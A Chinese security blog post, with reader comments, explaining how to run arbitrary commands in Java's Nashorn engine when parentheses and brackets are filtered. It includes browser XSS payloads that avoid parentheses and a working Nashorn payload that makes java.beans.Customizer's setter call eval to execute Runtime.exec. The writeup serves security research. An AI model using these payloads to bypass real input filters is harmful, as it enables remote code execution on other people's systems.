当Nashorn失去括号:非典型Java命令执行绕过

昨天『代码审计』知识星球里有同学向我提了一个有趣的问题:

image.png

简单来说就是,在Java的Nashorn脚本中,如果不允许使用小括号()和中括号[],如何执行任意命令?

0x01 浏览器JavaScript无括号XSS

我们知道,Nashorn脚本本质上是JavaScript,而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号,所以解决问题的核心其实就是“如何不使用括号来执行函数”。

在浏览器上下文中,我们通常有这样一些思路来绕过对括号的限制:

  • 使用ES6中的反引号代替括号,如alert`23`
  • 使用location和伪协议来执行代码,如location.href='javascript:alert%281%29',这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过
  • 使用DOM相关方法写入HTML到页面,如document.body.innerHTML=location.hash;
  • 使用onerror和throw来变相执行函数,如onerror=alert;throw 23;

基本所有对于括号的绕过方法,无论怎么变形最后都归结于上述4种思路,网上也有不少人整理过Payloads,可以参考:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

但是,虽然都是JavaScript,但浏览器里的这些方法并不能套用到Nashorn中:

image.png

一是Nashorn并不支持ES6语法,二是其中没有DOM相关方法,三是上下文中也没有全局对象可以注册onerror。

0x02 Fastjson:我换个衣服你就不认识我了吗?

既然JavaScript里的方法不能直接利用,我们还是需要回到Nashorn和Java中找方法。

先来做个实验,首先编写一个简单的User类,其中包含一个getter和一个setter:

package com.govuln.js;

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

然后我们编写这样一段Nashorn脚本:

var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);

调试运行可以发现,User类的setter和getter被调用了:

image.png

所以在Nashorn脚本中,当执行赋值语句时,对象的setter会被调用;当获取属性时,对象的getter会被调用。在不借助括号的情况下,通过这两种方法可以执行函数。

好像很熟悉?提出这个问题的圈友好像已经意识到了这个问题的本质是什么,其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了

所以,第一种解决问题的方法就是直接利用Fastjson相关的利用链,由于网上已经有很多介绍文章了,这里不再赘述。

0x03 Nashorn与Java接口、抽象类的利用

当然,Fastjson各个利用链都有自己的不足,有的需要连接外网,有的有Java版本限制,有的只能写文件,有的依赖第三方库。如果想要找一种更通用的利用方法,还得继续深入研究。

在阅读Nashorn的文档时,我发现一个有趣的语法:https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html

image.png

Nashorn支持在JavaScript中实现Java的接口和抽象类,并提供了一个特殊的语法:

var r = new java.lang.Runnable() {
    run: function() {
        print("running...\n");
    }
};

由于调用无参构造函数可以省略括号,上述代码可以省略成这样的代码:

var r = new java.lang.Runnable {
    run: print
};

如果有方法可以调用到r对象的run方法,不就等于调用了print函数吗?

再结合我们在0x02中学习到的setter方法,我们可以尝试在Java中找到一个接口或抽象类,其包含setter,我将这个setter重写成eval函数,就可以在执行赋值语句的时候执行任意代码了。

快速找到符合条件的setter,我们可以借助CodeQL或者Tabby,因为我们这次的目标非常简单,人工找甚至也可以。比如这个java.beans.Customizer接口:

public interface Customizer {

    /**
     * Set the object to be customized.  This method should be called only
     * once, before the Customizer has been added to any parent AWT container.
     * @param bean  The object to be customized.
     */
    void setObject(Object bean);

    /**
     * Register a listener for the PropertyChange event.  The customizer
     * should fire a PropertyChange event whenever it changes the target
     * bean in a way that might require the displayed properties to be
     * refreshed.
     *
     * @param listener  An object to be invoked when a PropertyChange
     *          event is fired.
     */
     void addPropertyChangeListener(PropertyChangeListener listener);

    /**
     * Remove a listener for the PropertyChange event.
     *
     * @param listener  The PropertyChange listener to be removed.
     */
    void removePropertyChangeListener(PropertyChangeListener listener);

}

其就包含一个setObject()方法,且参数是一个Object,我可以传入任意类型的数据。

使用它来构造最终的Nashorn脚本如下:

var a = new java.beans.Customizer {
    setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";

执行成功弹出计算器:

image.png

0x04 总结

本文介绍了如何在不使用小括号、中括号的情况下,利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload,最终执行任意代码和命令的方法。

由于最初『代码审计』里这位圈友给的问题很简单,不知是否还有其他限制条件,是否能最终解决他的问题,让我赚到8块钱🤣。但光就这个场景的绕过方法,其实也挺有意思的。

参考资料:

赞赏

喜欢这篇文章?打赏1元

评论

Yifan 回复

从2013年的帖子发现的这个小站,2013楼主还在期末考试,没想到那个时候你就能搭建网站了,羡慕!

Q 回复

由于调用无参构造函数可以省略括号
setObject方法不是有参数的吗?怎么还能省略括号呢

phithon 回复

@Q
这里省略的是构造函数的括号,不是setObject的括号。
setObject不需要括号的原因是,设置属性值的时候会自动调用setXXX,这里是一个隐式调用。

下雨就像弹钢琴 回复

弹计算器这个,,,一下子回忆起了还在西电听学长当时分享的场景。

Bella 回复

哇哦,好感动。为了一个问题,你就愿意写这么长一篇解题思路,分享给更多的人。phith0n太善良了吧,大善人。
你解决了他的问题,他就能过好自己的生活,他的思想就解脱了吗?

phithon 回复

@Bella 一个技术问题而已……

rep 回复

@phithon 看来 AI 在魔怔评论这块仍旧无能为力

sBella 回复

@Bella 你有点魔怔了把

captcha